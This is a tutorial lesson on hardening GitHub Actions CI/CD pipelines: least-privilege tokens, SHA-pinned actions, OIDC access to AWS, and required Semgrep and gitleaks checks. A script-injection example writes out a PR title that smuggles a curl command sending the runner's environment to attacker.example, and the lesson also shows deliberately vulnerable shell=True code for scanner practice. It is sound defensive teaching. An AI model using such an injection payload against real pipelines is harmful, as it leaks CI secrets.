# CI/CD security with GitHub Actions

> Build a GitHub Actions pipeline with least-privilege tokens, pinned actions, OIDC cloud access and a security scan that blocks merges.

DevSecOps Engineer roadmap · Secure the pipeline · 22 min read · https://levelcode.org/roadmaps/devsecops/ci-github-actions

Your CI/CD system runs every commit, holds your deploy credentials and can push to production: a prime target, and your best place to enforce security checks. In this lesson you'll build a GitHub Actions pipeline for a Node.js service: its structure and triggers, where jobs run, least-privilege permissions, safe caching, deploying to AWS without stored keys, and a failing security scan that blocks the merge. (If your team uses GitLab, the GitLab CI/CD lesson covers the same ground for that platform.)

## Workflows, jobs and steps

A **workflow** is a YAML file in `.github/workflows/` in your repository. It contains one or more **jobs**; each job runs on a fresh machine called a **runner** and consists of **steps**. A step either runs shell commands (`run:`) or uses a reusable **action** (`uses:`), which is code from another repository. Jobs run in parallel unless you link them with `needs:`.

```yaml
# .github/workflows/ci.yml
name: ci

on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  test:
    name: test
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm test
```

The workflow runs on pull requests to `main` and pushes to `main`, gives the automatic token read access to contents only, and has one job that checks out the code, installs Node 22 with npm caching, installs locked dependencies and runs the tests. If any step exits non-zero, the job fails and the pull request shows a red check.

The long hexadecimal strings are security decisions; the rest of this lesson explains them.

## Triggers and the trust they imply

The `on:` key decides which events start the workflow. The event determines whose code runs and which secrets are available, so choosing a trigger is a security decision.

| Trigger | Runs when | Code that runs | Secrets available |
|---|---|---|---|
| `push` | Commits are pushed to a branch or tag | The pushed commit | Yes |
| `pull_request` | A PR is opened or updated | The PR's merge commit | Yes for same-repo PRs; **no** for PRs from forks (read-only token) |
| `pull_request_target` | A PR is opened or updated | The **base** branch's workflow, with full base-repo permissions | Yes, even for forks |
| `workflow_dispatch` | Someone clicks "Run workflow" or calls the API | The chosen ref | Yes |
| `schedule` | On a cron schedule (UTC) | The default branch | Yes |

Fork protections exist because anyone can open a PR against a public repository, and their code runs in your workflow. Repository settings can also require approval before workflows run for first-time contributors.

> [!WARNING]
> `pull_request_target` removes those protections. It exists for jobs like labelling PRs that need write access but don't run PR code. The classic mistake ("pwn request") is to check out and build the PR's head commit inside it, which hands the fork author your secrets and a write token. Recent versions of `actions/checkout` refuse to check out fork code in this context unless you set `allow-unsafe-pr-checkout: true`, which you shouldn't. Use plain `pull_request` for anything that builds or tests code.

Filters (`branches`, `tags`, `paths`) narrow triggers further, and `schedule` suits nightly scans that catch newly published vulnerabilities.

### Script injection

Event data such as PR titles, branch names and issue bodies is attacker-controlled. The `${{ }}` syntax is substituted into the script *before* the shell runs it, so this is shell injection:

```yaml
# Vulnerable: a PR titled  a"; curl -d "$(env)" https://attacker.example; echo "  runs the curl,
# sending the step's environment, including any secrets passed to it
- run: echo "Checking PR: ${{ github.event.pull_request.title }}"
```

Pass untrusted values through environment variables instead. The shell then treats them as data:

```yaml
# Fixed
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking PR: $PR_TITLE"
```

## Runners

**GitHub-hosted runners** (`ubuntu-24.04`, `windows-2025`, `macos-15`) are fresh virtual machines created for each job and destroyed afterwards, so nothing a compromised dependency installed survives into the next job. Prefer a specific image over `ubuntu-latest` so the environment only changes with a commit.

**Self-hosted runners** are machines you register yourself. They change the picture:

- By default they are reused between jobs, so one job can backdoor the next. Configure them as **ephemeral** (one job each).
- **Never attach self-hosted runners to public repositories.** A fork PR could run arbitrary code on a machine inside your network.
- Give them minimal network and cloud access, and use **runner groups** to limit which repositories may use them.

## Least privilege for tokens and actions

### The GITHUB_TOKEN

Every job gets an automatic `GITHUB_TOKEN` for the GitHub API. It expires with the job, but until then it can do whatever its permissions allow, and depending on organisation settings the default may be read-write. Declare permissions explicitly: a restrictive default at the top, widened per job only where needed:

```yaml
permissions: {}            # workflow default: nothing

jobs:
  test:
    permissions:
      contents: read       # enough to check out code
    # ...
  comment:
    permissions:
      contents: read
      pull-requests: write # this job posts a PR comment
    # ...
```

Unlisted scopes are `none`. Common ones: `contents`, `pull-requests`, `issues`, `packages`, `security-events`, `id-token` (OIDC, below) and `actions`.

`persist-credentials: false` on `actions/checkout` stops it storing the token in the local Git configuration, so later steps (including third-party tools) can't pick it up from disk. Leave it on only for jobs that push commits.

### Pinning actions to a commit SHA

`uses: actions/checkout@v7` refers to a **tag**, and tags are mutable: the action's owner, or anyone who compromises their account, can move `v7` to different code at any time, and your next run executes it with your secrets. This happened in March 2025, when the popular `tj-actions/changed-files` action was compromised and its version tags were repointed to a commit that dumped runner secrets into build logs. Thousands of repositories ran it.

A full 40-character commit SHA is immutable; it identifies one exact tree of code. Pin every third-party action to a SHA, and keep the human-readable version in a comment:

```yaml
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
```

Find a release's SHA on its releases page or with `git ls-remote --tags https://github.com/actions/checkout`. Let Dependabot propose updates; it understands SHA pins and updates the version comment:

```yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
```

Updates arrive as pull requests that go through review and required checks. Organisation admins can also enforce SHA pinning and an allowlist of permitted actions.

## Caching without poisoning

Installing dependencies on every run is slow. `actions/setup-node` with `cache: npm` caches npm's download cache, keyed on a hash of `package-lock.json`. For other tools use `actions/cache` directly:

```yaml
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
  with:
    path: ~/go/pkg/mod
    key: ${{ runner.os }}-gomod-${{ hashFiles('**/go.sum') }}
    restore-keys: |
      ${{ runner.os }}-gomod-
```

The `key` changes whenever `go.sum` changes; `restore-keys` allows a partial match. Lockfile-verifying installs (`npm ci`, Go's `go.sum` checks) keep a corrupted cache from changing what you build.

Think about who can write caches. A run can read caches from its own branch and the default branch, and PR caches are isolated to that PR. The danger is untrusted code running *in the default-branch context* (for example via `pull_request_target`) and writing a poisoned cache that later runs, including releases, restore. Never cache secrets or shippable outputs, and turn caching off in release and deploy jobs (`package-manager-cache: false` on `setup-node`).

## Secrets, environments and OIDC

### Repository and environment secrets

Store credentials under **Settings > Secrets and variables > Actions** and reference them as `${{ secrets.NAME }}`. GitHub masks secret values in logs (best effort: a transformed value, such as base64, is not masked), and secrets aren't passed to workflows triggered from forks.

For deployment credentials, use **environment secrets**. An **environment** (Settings > Environments), such as `production`, can require named reviewers to approve each deployment and can restrict which branches may deploy to it. Its secrets are only available to jobs that declare `environment: production` and pass those rules. A malicious PR branch can't deploy, and can't read production secrets, even if it edits the workflow.

### OIDC instead of long-lived cloud keys

The traditional setup stores an AWS access key as a secret. It never expires, anyone who can modify a workflow can exfiltrate it, and rotating it is a chore. **OpenID Connect (OIDC)** removes it. Each job can request a short-lived token signed by GitHub, describing exactly which repository, branch and environment it runs for. AWS verifies the signature and the claims, and returns temporary credentials for a role that expire after an hour or less.

On the AWS side, create an IAM OIDC identity provider for `https://token.actions.githubusercontent.com` with audience `sts.amazonaws.com`, and a role whose **trust policy** accepts only tokens for your repository's production environment:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production"
        }
      }
    }
  ]
}
```

The `sub` (subject) condition is the security boundary. Without it, *any* GitHub repository could assume your role. Its format depends on the job: `repo:OWNER/REPO:environment:NAME` for jobs with an environment, `repo:OWNER/REPO:ref:refs/heads/main` for a branch, `repo:OWNER/REPO:pull_request` for PRs. Repositories created on or after 15 July 2026 emit an immutable form that includes numeric IDs (`repo:acme@123456/shop@789012:environment:production`), so a deleted-and-recreated name can't match an old policy; check which form yours sends before writing the policy. Attach a permissions policy to the role that allows only what deployment needs.

The workflow requests the token with `id-token: write`, which allows the job to *mint an OIDC token*, not to write anything to the repository:

```yaml
# .github/workflows/deploy.yml
name: deploy

on:
  push:
    branches: [main]

permissions: {}

jobs:
  deploy:
    runs-on: ubuntu-24.04
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::123456789012:role/shop-deploy-production
          aws-region: eu-west-1
      - run: aws sts get-caller-identity
      - run: ./scripts/deploy.sh
```

```text
{
    "UserId": "AROA3EXAMPLEROLEID:GitHubActions",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/shop-deploy-production/GitHubActions"
}
```

Here is what `configure-aws-credentials` does behind that one step. Watch where trust is checked: GitHub vouches for the job, AWS checks that claim against the role's trust policy, and the only credentials the job ever holds expire within the hour.

```sequence
title: GitHub Actions to AWS with OIDC
participants: Runner, GitHub OIDC provider, AWS STS, AWS APIs
Runner -> GitHub OIDC provider: Request ID token
> The request asks for audience sts.amazonaws.com. It is only possible because the job has id-token: write. The runner authenticates this request with a job-scoped request token GitHub injected into the job.
GitHub OIDC provider --> Runner: Signed JWT
> Claims include sub, aud, repository, ref and environment. The token is signed with GitHub's private key and lives for minutes. sub is repo:acme/shop:environment:production for this job.
Runner -> AWS STS: AssumeRoleWithWebIdentity + JWT
> The call names the role ARN from role-to-assume. No AWS secret is involved: the signed token is the only proof the runner presents.
AWS STS -> GitHub OIDC provider: Get signing keys
> STS fetches the issuer's published public keys (JWKS) from https://token.actions.githubusercontent.com, and can cache them.
AWS STS -> AWS STS: Check claims
> STS verifies the signature and expiry, then evaluates the role's trust policy: aud and sub must match. A token from any other repository, branch or environment fails the sub condition, and the call is denied.
AWS STS --> Runner: Temporary credentials (1 h)
> An access key ID, secret key and session token for the shop-deploy-production role. configure-aws-credentials exports them as environment variables for later steps.
Runner -> AWS APIs: aws sts get-caller-identity
> This call and the deploy script's calls are signed with the temporary credentials and limited to the role's permissions policy.
AWS APIs --> Runner: assumed-role/shop-deploy-production
```

No AWS secret exists anywhere in GitHub. Google Cloud and Azure support the same pattern with their own login actions.

## Blocking merges on a security scan

Now add the checks. Two jobs go into `ci.yml`: a static analysis scan with Semgrep, and a secret scan with gitleaks. Each exits non-zero when it finds a problem, which fails the job:

```yaml
  security-scan:
    name: security-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    container:
      image: semgrep/semgrep:1.179.0@sha256:93963d9295a366f59e4850127b1550400ee7b388f04fe144e4a1f6325d96e01b
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: semgrep scan --config p/default --error --metrics=off

  secret-scan:
    name: secret-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0               # full history, so old commits are scanned too
          persist-credentials: false
      - name: Install gitleaks (checksum verified)
        env:
          VERSION: 8.30.1
          SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb
        run: |
          curl -sSfL -o gitleaks.tgz \
            "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz"
          echo "${SHA256}  gitleaks.tgz" | sha256sum --check
          tar -xzf gitleaks.tgz gitleaks
      - run: ./gitleaks git --redact --verbose .
```

The image is pinned by digest and the binary checked against the release checksum, for the same reason actions are pinned by SHA. `--error` makes Semgrep exit 1 on findings. The log looks like this (abridged; rule counts and wording vary by Semgrep version):

```text
    src/admin/ping.py
   ❯❯❱ python.lang.security.audit.subprocess-shell-true.subprocess-shell-true
          ❰❰ Blocking ❱❱
          Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this
          call will spawn the command using a shell process. Doing so propagates current shell
          settings and variables, which makes it much easier for a malicious actor to execute
          commands. Use 'shell=False' instead.

            4┆ return subprocess.run(f"ping -c 1 {host}", shell=True)

Error: Process completed with exit code 1.
```

A red job alone doesn't stop anyone clicking "Merge". To make it a gate, add a **branch ruleset**: Settings > Rules > Rulesets > New branch ruleset, target the default branch, set enforcement to Active, and enable:

- **Require a pull request before merging**, with at least one approval, "Dismiss stale pull request approvals when new commits are pushed", and "Require review from Code Owners".
- **Require status checks to pass**, adding `test`, `security-scan` and `secret-scan` (the job `name` values), and "Require branches to be up to date before merging".
- **Block force pushes** and **Restrict deletions**.

Protect the pipeline definition itself with a `CODEOWNERS` file, so changes to workflows need approval from the platform team:

```text
# .github/CODEOWNERS
/.github/workflows/  @acme/platform-security
/.github/CODEOWNERS  @acme/platform-security
```

> [!WARNING]
> Two subtleties can silently weaken required checks. A job skipped by an `if:` condition reports **success**, so never put conditions on a required security job. And a workflow skipped entirely by a `paths:` filter never reports at all, leaving PRs stuck on "Expected"; don't use path filters on workflows that contain required checks.

## Practice

In a repository you control (a new private one is fine):

1. Add `ci.yml` with `test`, `security-scan` and `secret-scan` jobs, a workflow-level `permissions: {}` and per-job `contents: read`, all actions pinned to SHAs.
2. Add a ruleset that requires the three checks and one approval on `main`.
3. Open a PR that adds `subprocess.run(cmd, shell=True)` to a Python file and confirm the merge button is blocked. Fix it with an argument list and watch the check go green.
4. Add `.github/dependabot.yml` for the `github-actions` ecosystem.
5. Sketch the `deploy.yml` and IAM trust policy for deploying from the `production` environment with OIDC.

**Solution**

```yaml
# .github/workflows/ci.yml
name: ci

on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

permissions: {}

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

jobs:
  test:
    name: test
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm test

  security-scan:
    name: security-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    permissions:
      contents: read
    container:
      image: semgrep/semgrep:1.179.0@sha256:93963d9295a366f59e4850127b1550400ee7b388f04fe144e4a1f6325d96e01b
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: semgrep scan --config p/default --error --metrics=off

  secret-scan:
    name: secret-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          persist-credentials: false
      - name: Install gitleaks (checksum verified)
        env:
          VERSION: 8.30.1
          SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb
        run: |
          curl -sSfL -o gitleaks.tgz \
            "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz"
          echo "${SHA256}  gitleaks.tgz" | sha256sum --check
          tar -xzf gitleaks.tgz gitleaks
      - run: ./gitleaks git --redact --verbose .
```

The vulnerable and fixed code for step 3:

```python
# Fails security-scan
subprocess.run(f"convert {name} out.png", shell=True)

# Passes
subprocess.run(["convert", name, "out.png"], check=True)
```

Ruleset: target `main`; require a PR with 1 approval and stale-approval dismissal; require status checks `test`, `security-scan`, `secret-scan` and up-to-date branches; block force pushes and deletions. With the vulnerable PR, the merge box shows "Required statuses must pass before merging" and the button is disabled.

For step 5, reuse the OIDC section's `deploy.yml` and trust policy, with required reviewers and a `main`-only branch rule on the `production` environment.

## Key takeaways

- Workflows contain jobs that run on fresh runners; triggers decide whose code runs with which secrets. Use `pull_request` for untrusted code, never build fork code under `pull_request_target`.
- Set `permissions: {}` at the top and grant each job only what it needs; use `persist-credentials: false` unless a job pushes.
- Pin third-party actions to full commit SHAs (version in a comment) and container images by digest; let Dependabot propose updates.
- Pass event data through `env:` to avoid script injection, and keep caching out of release and deploy jobs.
- Deploy with OIDC and a tightly conditioned trust policy (`sub` scoped to repo and environment) instead of stored cloud keys, and protect production with an environment.
- Make security jobs required status checks in a branch ruleset, protect workflow files with CODEOWNERS, and never make required jobs conditional.

## Quiz

1. Why pin `actions/checkout` to a 40-character commit SHA instead of `@v7`?

   A. SHAs make the workflow run faster
   B. GitHub requires SHAs for official actions
   C. Tags can be moved to different code at any time; a commit SHA always refers to the same code
   D. A SHA automatically receives security updates

   **Answer: C.** Tags are mutable pointers. In the tj-actions/changed-files compromise, attackers repointed existing tags to malicious code. A SHA pin is immutable, and Dependabot can still propose reviewed updates.

2. What does `permissions: id-token: write` allow a job to do?

   A. Request a signed OIDC token from GitHub to exchange for cloud credentials
   B. Write to the repository's contents
   C. Create new repository secrets
   D. Push to protected branches

   **Answer: A.** Despite the name, it only lets the job mint an OIDC identity token. It grants no write access to the repository. The cloud provider decides what that token may do based on its trust policy.

3. An IAM role trusts token.actions.githubusercontent.com with only an `aud` condition and no `sub` condition. What is the risk?

   A. Tokens will expire too quickly
   B. Workflows in any GitHub repository, including an attacker's, could assume the role
   C. Only pull requests can assume the role
   D. The role can only be used from self-hosted runners

   **Answer: B.** All GitHub Actions tokens share the same issuer and default audience. The sub claim identifies the repository, ref or environment, and is what limits the role to your workflow.

4. A required check `security-scan` has `if: github.actor != 'dependabot[bot]'`. What happens on Dependabot's PRs?

   A. The PR is blocked forever waiting for the check
   B. The scan runs anyway because required checks ignore if:
   C. GitHub refuses to save the ruleset
   D. The job is skipped, reports success, and the PR can merge without being scanned

   **Answer: D.** Skipped jobs report a successful status, which satisfies the required check. Keep required security jobs unconditional.
